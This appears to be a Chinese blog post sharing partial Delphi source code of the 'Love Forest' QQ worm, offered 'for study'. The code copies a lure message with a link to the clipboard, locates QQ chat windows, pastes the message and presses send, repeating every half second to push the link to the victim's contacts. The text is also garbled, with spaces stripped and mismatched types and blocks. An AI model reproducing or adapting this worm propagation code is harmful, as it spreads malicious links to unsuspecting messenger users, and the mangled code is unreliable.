爱情森林病毒部分源代码

爱情森林病毒部分源代码，有空学习学习，善与恶的距离只有一步，用的对了就是善良的。

unitqqworm;
interface

uses
Windows,Messages,SysUtils,Variants,Classes,Graphics,Controls,forms,
Dialogs,StdCtrls,ExtCtrls,ComCtrls;

private
...{Privatedeclarations}
procedureMySendMessage;
procedureMyTalkEach;
public
procedureQQStart;
...{Publicdeclarations}
end;


implementation

...{$R*.dfm}

procedureMySendMessage;
var
hParent,hButton,hMemo,clp:HWND;
texta:TCustomEdit;
begin
texta:='btw...给你一个惊喜——exf.ecv.tk';
texta.CopyToClipBoard;
try
//找发送消息的QQ窗口
hParent:=FindWindow(nil,'发送消息');
//然后找回话时用的编辑窗口,Point函数用于返回一个TPoint类型变量
hMemo:=ChildWindowFromPointEx(hParent,Point(50,100),CWP_ALL);
//找到“送讯息”按钮的句柄
hButton:=FindWindowEx(hParent,0,nil,'送讯息(&S)');
if(hParent=0)or(hMemo=0)or(hButton=0)then
...{MessageBox(Handle,'没有找到发送窗口，请重试！','错误',MB_ICONWARNING)}
MyTalkEach
else
begin
//向发送消息中的回话编辑框发送粘贴消息
SendMessage(hMemo,WM_PASTE,0,0);
//向“送讯息”按钮送单击消息以模仿按键发送回话
SendMessage(hButton,BM_CLICK,0,0);
end;
except
//如果发生意外错误给出提示
MyTalkEach;
...{MessageBox(Handle,'发送消息出错，请重试！','错误',MB_ICONWARNING);

end;

end;
procedureMyTalkEach;
var
hParent,hButton,hMemo:HWND;
texta:TCustomEdit;
begin
texta:='btw...给你一个惊喜——exf.ecv.tk';
texta.CopyToClipBoard;

try
//找对话模式中窗口
//ShowMessage('test');
hParent:=FindWindow(nil,'对话模式');
//找到对话模式中的回话编辑框
hMemo:=ChildWindowFromPointEx(hParent,Point(50,300),
CWP_ALL);
hButton:=FindWindowEx(hParent,0,nil,'送讯息(&S)');
//如果有任何一个句柄没有找到都不能完成发送，并给出提示
//ifhMemo=0then
//ShowMessage('1');
if(hParent=0)or(hMemo=0)or(hButton=0)thenbegin
...{MessageBox(Handle,'没有找到发送窗口，请切换到双人对话模式！','错误',
MB_ICONWARNING);}
MySendMessage;
//ShowMessage('go');
end
else
begin
//向对话模式中的回话编辑框发送粘贴消息
SendMessage(hMemo,WM_PASTE,0,0);
//向“送讯息”按钮送单击消息以模仿按键发送回话
SendMessage(hButton,BM_CLICK,0,0);
end;
except
//如果发生意外错误给出提示
MySendMessage;
...{MessageBox(Handle,'发送消息出错，请重试！','错误',
MB_ICONWARNING);}
end;
end;

procedureQQStart;
var
k:integer;
Begin
k:=0;
whilek=0do
Begin
Sleep(500);
MySendMessage;
End;